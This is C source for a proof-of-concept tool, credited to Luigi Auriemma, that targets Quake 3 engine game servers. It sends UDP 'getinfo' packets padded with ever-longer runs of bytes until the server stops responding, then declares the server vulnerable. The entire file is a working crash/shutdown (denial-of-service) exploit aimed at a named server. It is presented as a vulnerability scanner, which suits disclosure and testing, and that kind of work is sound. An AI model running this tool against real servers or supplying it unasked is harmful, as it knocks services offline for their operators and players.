/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/q3infoboom.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1.1"
#define BUFFSZ 2048
#define TIMEOUT 2
#define MAXRETRY 3
#define INFO "\xff\xff\xff\xff" "getstatus\n"
#define GETINFO "\xff\xff\xff\xff" "getinfo "
#define GETINFOSZ (sizeof(GETINFO) - 1)

#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, 
sizeof(peer)) \
                      < 0) std_err();
#define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define RECVT if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply 
received\n\n", stdout); \
                        exit(1); \
                    } \
                    RECV;

void showinfo(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
            i,
            len,
            slen,
            from = 750,
            to = BUFFSZ - GETINFOSZ,
            jumps = 1,
            sent = 0,
            retry = 0;
    u_short port;
    u_char bof[BUFFSZ + 1],
            buff[BUFFSZ + 1],
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "Quake 3 engine infostring crash/shutdown scanner "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s [options] <server> <port>\n"
            "\n"
            "Options:\n"
            "-f FROM start the scan from byte FROM (default %d)\n"
            "-t TO finish the scan at byte TO (default %d)\n"
            "-j JUMPS the number of bytes to increment for each scan.\n"
            " Default value is %d, meaning that if the scan starts from %d it will\n"
            " send getinfo followed by %d bytes, then %d, %d, %d and so on\n"
            " until %d\n"
            "\n", argv[0],
            from,
            to,
            jumps, from,
            from, from + jumps, from + (jumps * 2), from + (jumps * 3), to);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    argc -= 2;
    for(i = 1; i < argc; i++) {
        switch(argv[i][1]) {
            case 'f': from = atoi(argv[++i]); break;
            case 't': to = atoi(argv[++i]); break;
            case 'j': jumps = atoi(argv[++i]); break;
            default: {
                printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
                exit(1);
                }
        }
    }

    port = atoi(argv[argc + 1]);
    peer.sin_addr.s_addr = resolv(argv[argc]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- request informations:\n", stdout);
    SEND(INFO, sizeof(INFO) - 1);
    RECVT;
    buff[len] = 0x00;
    showinfo(buff);

    fputs("- getinfo crash/shutdown scan:\n\n", stdout);
    memcpy(bof, GETINFO, GETINFOSZ);
    p = bof + GETINFOSZ;

    if(from > to) from = to;
    for(i = 0; i < from; i++) *p++ = 'a';
    slen = p - bof;

    for(;;) {
        printf(" packet length: %d\r", slen);

        SEND(bof, slen);
        sent++;
        if(timeout(sd) < 0) {
            if(retry == MAXRETRY) break;
            printf(" timeout: retry other %d times\n", MAXRETRY - retry);
            retry++;
            continue;
        }
        retry = 0;
        RECV;

        slen += jumps;
        if((slen - GETINFOSZ) > to) {
            slen -= jumps;
            break;
        } else if(slen > BUFFSZ) {
            printf("\n\n- max local buffer size (%d) reached", BUFFSZ);
            slen -= jumps;
            break;
        }
        for(i = 0; i < jumps; i++) *p++ = 'a';
    }

    if(!sent) {
        fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout);
        close(sd);
        exit(1);
    }

    printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)",
        slen, slen - GETINFOSZ);

    fputs("\n- check server:\n", stdout);
    SEND(INFO, sizeof(INFO) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);
    return(0);
}

void showinfo(u_char *data) {
    int nt = 1;
    u_char *p;

    while((p = strchr(data, '\\'))) {
        *p = 0x00;
        if(!nt) {
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    printf("%s\n", data);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif